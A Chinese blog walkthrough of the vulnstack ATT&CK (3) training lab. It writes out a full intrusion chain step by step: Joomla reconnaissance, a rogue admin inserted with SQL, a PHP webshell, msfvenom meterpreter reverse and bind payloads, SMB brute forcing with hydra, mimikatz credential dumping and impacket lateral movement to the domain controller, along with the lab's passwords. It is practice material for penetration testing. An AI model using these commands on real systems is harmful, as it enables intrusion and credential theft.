vulstack ATT&CK(三)靶场

已于 2023-04-20 19:18:00 修改
阅读量664 收藏 1
点赞数
分类专栏： 靶机及靶场通关 文章标签： 服务器 linux 运维 网络安全
于 2023-04-20 19:17:31 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_62207170/article/details/130246830
版权

0x00环境搭建

两种形式
1.添加vmare2网卡，修改vmare2网卡的地址为192.168.93.0网段，注意不要在连接到主机适配器上打勾，这样会使本机也可以访问此电脑，5台机器都换成vmare2即可，第一台出网的centos在添加另一张nat网卡即可
在这里插入图片描述centos需要改配置
nginx配置
把/etc/nginx/nginx.conf的server全部改为ubuntu的ip
在这里插入图片描述

ps aux|grep nginx
kill -9 进程id
/usr/sbin/nginx -c /etc/nginx/nginx.conf

网络配置
重启服务

service network start
ping www.badiu.com 能ping通说明nat可以正常上网

配置完成：
在这里插入图片描述
ubuntu
网络配置
在没有开机之前，选用vmare2网卡

service networking start

其他三台靶机改为vmare2网卡即可
2.修改nat网卡ip为192.168.1.0网段即可
正向代理：vpn，服务器不知道客户端真实地址
反向代理：客户端不知道服务器真实地址
上面web的两台靶机
第一台 centos nginx反向代理，将访问自己的全部流量转发之ubuntu中
第二台 ubuntu web服务器

0x01 web靶机渗透

1.信息搜集（存活ip，端口，服务及版本，cms或框架，中间件，敏感文件或目录）
存活ip，端口，服务及版本
192.168.85.177
22,3306,80

nmap 192.168.85.0/24
nmap -p1-65535 192.168.85.177
nmap -sV 192.168.85.177

访问192.168.85.177网站，寻找漏洞及敏感信息
在这里插入图片描述
发现cms joomla，找漏洞时需要版本，所以需要进行版本探测
尝试报错看一下是否会有版本出来
在这里插入图片描述
需要再查看一下状态码，看是不是伪造的，状态码为404
在这里插入图片描述
找到一个登录框，可以尝试进行暴力破解，sql注入
f12c查看源代码，找到一个search搜索框，尝试sql注入
1’“()\都没报错
先前扫描时服务及版本时时nginx服务器，现在apache服务器，说明做了反向代理
使用msf的auxiliary/scanner/http/joomla_version ，版本是3.9.12
使用msf关于jommla的exp进行攻击时，试了几个，都失败了
现在知道版本了找cms漏洞
CVE-2021-23132 需要登录后台才可以进行执行
或使用工具扫描版本
这里使用joomscan，并且可以进行目录和敏感文件扫描

joomscan -u http://192.168.85.177

找到了robots.txt，还有一个感觉像后台的目录，再就是感觉像配置文件的文件，版本3.9.12
在这里插入图片描述
查看配置文件在这里插入图片描述
2.登录数据库
发现了数据库用户名和密码，可以尝试使用navicat进行连接
testuser
cvcvgjASD!@
登录成功
找类似user的关键表在这里插入图片描述
3.修改用户名密码
找到用户名和密码，尝试对密码进行解密，john或cmd5，解密失败
可以下载同样版本的joomla，写一个知道密码的密文，然后进行更新覆盖
知道加密，直接更改，搜索文档可一下有没有进行密码重置的文档
jommla密码重置

直接执行就可以了
INSERT INTO `am2zu_users`
   (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
VALUES ('Administrator2', 'admin2',
    'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`)
VALUES (LAST_INSERT_ID(),'8');
  • password = “this is the MD5 and salted hashed password”
  • admin = 433903e0a9d6a712e00251e44d29bf87:UJ0b9J5fufL3FKfCc0TLsYJBh2PFULvT
  • secret = d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199
  • OU812 = 5e3128b27a2c1f8eb53689f511c4ca9e:J584KAEv9d8VKwRGhb8ve7GdKoG7isMm

4.登录后台
admin2
secret
在这里插入图片描述

5.写shell，连接蚁剑
上面找到一个后台远程代码执行漏洞，尝试使用这个漏洞
在extentions-》templates-》templates-》Beez3 Details and Files出可以修改源码
在error.php写入一句话木马
在这里插入图片描述
访问http://192.168.85.177/templates/beez3/error.php
post传入1=phpinfo();
在这里插入图片描述
执行没问题后连接蚁剑
6.绕过disabled命令执行
在这里插入图片描述
发现执行命令时，没有执行，正常来说不管权限多少小，一些基本命令都是能执行的，再次执行phpinfo,查看是不是禁用了函数
在这里插入图片描述
发现命令执行的函数都被禁用掉了，这里可以用蚁剑的插件进行绕过
找到插件市场，把下载，如果在蚁剑下载不了，可以直接在github下载对应的插件
放到antSword-master\antData\plugins下，插件名成是as_bypass_php_disable_functions-master
启动插件
在这里插入图片描述
选择模块，启动
在这里插入图片描述
会重新开启一个执行界面
执行命令在这里插入图片描述
7.继续进行信息搜集
查看网络信息路由
在这里插入图片描述可以看出，是不出网的机器，这台是apache也就是web服务器的真实ip，不是nginx的ip
上传msf木马是不行的，连接不了，代理隧道都不行
在这里插入图片描述
两个可以登录的用户，yy和root
注意这里的内核或其他方式提权是不可以的，蚁剑的是一个伪终端，不是真实的bash环境，编译一些文件或执行文件无法返回一个bash会话
发现mysql的plugin目录是可写的，但是提权成功之后也没意义只是能成功执行命令，权限还是www-data，反弹shell，不出网，连不上
系统版本
在这里插入图片描述
进入yy的家目录，查看有什么信息，没找到有用的信息，继续进入可读的目录查找敏感信息
tmp目录下发现用户名和密码，但是在passwd文件中并没有发现用户名，所以这个用户名应该是nginx的用户名，信息搜集时返现22端口是开启的，所以可以尝试登陆
在这里插入图片描述
8.ssh登录nginx服务器，centos
wwwuser
wwwuser_123Aqx
使用xshell或使用kali自带的ssh
9.继续对centos进行信息搜集
网络
在这里插入图片描述
版本
在这里插入图片描述
用户
在这里插入图片描述
9.上传木马，xshell或wget，执行木马
centos

msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.85.129 lport=4444 -f elf -p 1.elf

开启监听

use mutli/handler
set payload linux/x64/meterpreter/reverse_tcp 
set lhost 0.0.0.0
set lport 4444
run

ubuntu
添加路由

run autoroute -s 192.168.93.0/24
或
run post/multi/manage/autoroute

生成木马，通过蚁剑上传执行

msfvenom -p linux/x64/meterpreter/bind_tcp lport=4444 -f elf -p 2.elf

开启监听

use mutli/handler
set payload linux/x64/meterpreter/bind_tcp 
set lhost 0.0.0.0
set rhost 192.168.93.120
run

10.提权
centos可以通过脏牛提权，ubuntu可以通过cve-2021-3493，这里不再演示了

0x02 内网横向移动

前面路由已经添加了，这里就不用添加了
1.开启socks代理

use auxiliary/server/socks_proxy
set version 4a
ser srvport 9050
run

2.探测存活主机(在添加路由的那个msfconsole中)
auxiliary/scanner/discover/arp_sweep
auxiliary/scanner/discover/udp_probe
auxiliary/scanner/smb/smb_version
这里使用第二种

use auxiliary/scanner/discover/udp_probe
set rhosts 192.168.93.0/24
run

在这里插入图片描述
扫出三台存活主机
192.168.93.10
192.168.93.20
192.168.96.30
3.扫描端口

use auxiliary/scanner/portscan/tcp
set rhosts 192.168.10,20,30

在这里插入图片描述
都开放了139，445，尝试永恒之蓝攻击都失败了
192.168.93.20开放了80端口
192.168.93.10开放了88端口
两个访问但是没东西
扫目录也没有扫出来
192.168.93.20 开放了1433，mssql数据库
尝试进行爆破，可以使用前面的mysql密码尝试一下
没试
还有一个思路是爆破smb密码
4.使用hydra爆破smb密码

proxychains4 hydra -l  administrator -P pass.txt smb://192.168.93.20

在这里插入图片描述
字典要足够多，才能爆破出来
密码 123qwe!ASD
5.连接smb，进行上传木马，mimikatz
生成正向连接木马

msfvenom -p windows/x64/meterpreter/bind_tcp  lport=4455 -f exe >1.exe

连接smb，上传木马和mimkatz

proxychains4 smbclient //192.168.93.20/c$ -U administrator
输入密码：  123qwe!ASD
put 1.exe
put mimikatz.exe

在这里插入图片描述
6.wmic执行木马上线msf
上线msf还可以用ipc$ 计划任务开实现
wmic执行木马(python impaket wmiexec.py)

proxychains4 impacket-wmiexec 'administrator:123qwe!ASD@192.168.93.20'

在这里插入图片描述
开启监听

use multi/handler
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.93.20
set lport 4455
run
#提权
getuid
getsystem
getuid

在这里插入图片描述窃取凭据

load mimikatz
creds_all          #获取所有凭证

在这里插入图片描述
在这里插入图片描述
发现域管理员密码，重新上述操作,登录域控
zxcASDqwe123!!
有几个地方需要注意，是test域登录
连接smb，上传木马

proxychains4 smbclient //192.168.93.20/c$ -U test/administrator
输入密码：  zxcASDqwe123!!
put 1.exe

proxychains4 impacket-wmiexec 'test/administrator:zxcASDqw123!!@192.168.93.10'

域控成功提权：
在这里插入图片描述

参考文章：
vulstack (三)

mushangqiujin
关注
专栏目录
vulnstack域环境靶场（三）
BROTHERYY的博客
12-01 852
这里写自定义目录标题欢迎使用Markdown编辑器新的改变功能快捷键合理的创建标题，有助于目录的生成如何改变文本的样式插入链接与图片如何插入一段漂亮的代码片生成一个适合你的列表创建一个表格设定内容居中、居左、居右SmartyPants创建一个自定义列表如何创建一个注脚注释也是必不可少的KaTeX数学公式新的甘特图功能，丰富你的文章UML 图表FLowchart流程图导出与导入导出导入 欢迎使用Markdown编辑器 你好！ 这是你第一次使用 Markdown编辑器 所展示的欢迎页。如果你想学习如何使用Mar
红日靶场vulnstack (三）
最新发布
2301_76227305的博客
09-03 1026
这个靶场比前面两个要难一点点，主要是思路问题，比如前面的蚁剑发现的mysql文件，你要想得去尝试ssh连接，还有smb爆破取决于你的字典大小。其实在渗透过程中，我有尝试让主机上线CS方便横移，但是均失败了，可能是因为跳板机是Linux，上线的Windows主机都是个黑框。最后，以上仅为个人的拙见，如何有不对的地方，欢迎各位师傅指正与补充，有兴趣的师傅可以一起交流学习。
vulnstack（三） 红日靶场复现
BuNahua的博客
09-01 1228
说明：如您在读这篇复现中，有任何问题，欢迎vx：Bestboysendit 交流 目录： 一、环境配置 二、外网测试： 三、获取会话： 01信息收集 0201获取会话-msf 0201获取会话-cs 四、内网渗透： 五、参考链接： 打开虚拟机镜像为挂起状态，第一时间进行快照，部分服务未做自启，重启后无法自动运行。 挂起状态，账号已默认登陆，centos为出网机，第一次运行，需重新获取桥接模式网卡ip。 除重新获取ip，不建议进行任何虚拟机操作。 参考虚拟机网络配置，添加新的网络，该网络作为内部网络。 c
红日安全 ATT＆CK VulnStack靶场（三）
baynk的博客
07-12 3029
0x00 前言 内网真的有点难搞，总是会碰到一些奇怪的问题。。。基础不难，地动山摇。 不知道原版哪下的，就放个自己云盘的，这玩意压缩后只有20G，解压后有100G… 放个下载地址：提取码: uecu 拓扑图如下 除了centos的出口网卡的IP是需要调整外，其余网卡都不需要调整。 0x01 Web打点 直接访问网站 发现很熟悉，joomla cms，国外比较有名的cms，直接上工具，kali里面带的joomscan [+] FireWall Detector [++] Firewall not det
红日靶机vulnstack03【半总结】
qq_45300786的博客
10-04 585
ip就不说了，和前面差不多，都是2个网段。 打开centos 把里面所有的ip都该成ubuntu的ip，因为ubuntu才是真正的服务器，centos只是nginx反向代理服务器 改了后，记得重启nginx服务 nginx -s reload 攻略教程如下： 红日安全ATT＆CK靶机实战系列之vulnstack3 VulnStack-ATT&CK-3（红日靶场三） ...
ATT&CK手册(修改版)
09-16
**ATT&CK手册(修改版)** ATT&CK（Adversarial Tactics, Techniques & Common Knowledge）是由美国非营利组织MITRE Corporation开发的一种框架，用于描述和分类网络攻击者的行为战术、技术和过程（TTPs）。这个框架...
ATT&CK中文手册.zip
11-24
一、Initial Access(入口点) 二、Execution(命令执行) 三、Persistence(持久化) 四、Privilege Escalation(权限提升) 五、Defense Evasion(绕过防御) 六、Credential Access(获取凭证) 七、Discovery(基础信息收集) ...
ATT&CK 知识库（企业）中文版1
08-03
**ATT&CK 知识库（企业）中文版1** **初始访问** 初始访问是攻击者进入目标网络或系统的最初步骤，通常涉及多种技术来获取对目标环境的立足点。以下是一些主要的初始访问方法： 1. **路过式下载**：攻击者利用...
ATT&CK手册.pdf
09-20
本手册涉及的核心概念是ATT&CK模型，这是一种由MITRE Corporation开发的攻击框架，用于对攻击者在渗透和入侵过程中使用的手法、技术和程序进行分类和描述。ATT&CK手册将网络安全的视角从防御转向了攻击者的行为，为...
红日（vulnstack）3 内网渗透ATT&CK实战
m0_66299232的博客
03-11 1857
蚁剑成功连接后无法执行命令，disable_functions插件，权限提升-脏牛漏洞，用msfvenom生成木马文件，msf开启监听，执行木马文件，成功反弹shell到msf上 use exploit/multi/handler set payload linux/x64/meterpreter/reverse_tcp set LHOST 192.168.1.106 set LPORT 1106 run 使用use auxiliary/scanner/smb/smb_login模块，进行smb爆破
红队实战之VulStack-1
wangluoanquan111的博客
09-13 251
这是我第二次做该靶场，第一次做的时候只采用了凭证传递的利用方式，并没有考虑 MS17-010漏洞利用，也没有采用隧道的方式来访问内网，经过这些天的考虑后我决定重做温习一遍，一是重新整理一下思路；二是锻炼一下内网渗透思路。当然在练习过程中我也遇到了许多问题，比如certutil.exe 怎么无法在 Windows Server 2003 中传递保存木马文件、FTP匿名登录漏洞如何通过代理登录利用等，显然这些问题在打靶记录中未直接体现。但它们对渗透思路的打磨有很大帮助。
红日安全ATT＆CK靶机实战系列之vulnstack3
黑白的博客
04-20 7387
声明 好好学习，天天向上 环境配置 下载地址，直接进去用百度云，没有会员也下的非常快 http://vulnstack.qiyuanxuetang.net/vuln/detail/5/ 边下载着，可以开始vmware的网络配置 有两个网段，外网网段是我自己设置的桥接模式192.168.31.1/24，内网网段，vmware加一个网卡VMnet2，192.168.93.1/24 外网的centos和kali直接都用桥接宿主机的网卡自动获取了，centos需要第一时间进去service network res
vulstack红队评估(三)
PANDA墨森的博客
06-21 1077
原文链接：https://www.cnblogs.com/PANDA-Mosen/p/13118679.html 一、环境搭建： ①根据作者公开的靶机信息整理 没有虚拟机密码，纯黑盒测试...一共是5台机器，目标是拿下域控获取flag文件 ②虚拟机网卡设置 centos双网卡模拟内外网： 外网：192.168.1.110 内网：192.168.93.100 其他主机都是内网，仅主机模式： 内网：192.168.93.0/24 所有虚拟机默认挂起状态，开启就已经登陆了...
vulstack2（hydra爆mssql、免杀360、cs、msf渗透、weblogic、computer brower服务支持6118，域管密码过期kerberos认证错误导致部分域服务不可用）
qq_45290991的博客
09-24 1823
很久之前打了第一个靶场，但是打的不全，不舒坦，不够彻底，由于一直报rpc连接失败所以有的步骤不顺，这次学了一点小小的免杀技巧，过来带着练习的心态学学这个靶场。 0、环境搭建（难点） 环境搭建参考：漏洞详情 【红日安全-VulnStack】ATT&CK实战系列——红队实战(二) - yokan - 博客园 红日靶场二 WalkThrough – Crispr –热爱技术和生活 记得要在web机子里面手动开启服务，在 C:\Oracle\Middleware\user_projects\doma
【红日靶场】vulnstack3-完整渗透过程
信安是不可或缺的一部分！
10-07 1015
绕过：https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD。现在做内网穿透将这台主机代理出来：我测试我这有问题（我的环境有安全设备拦截了msf的流量）再次横向到30主机：（失败）443gg了，应该是授权的问题，这个win7太久没用了激活掉了。脏牛：https://github.com/Rvn0xsy/linux_dirty。还有其他方式可以横向这个看自己爱好，这次先到这，拿到后可以权限维持，这里不在赘述。
构建与运营企业内部ATT&CK框架
"本文档主要讨论了如何在企业内部建立和运营ATT&CK框架，以及其更新和路线图。ATT&CK是由MITRE创建的一种基于已知攻击技术的知识库，旨在帮助组织理解和防御高级持续性威胁（APT）的攻击手法。文档提到了ATT&CK的...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值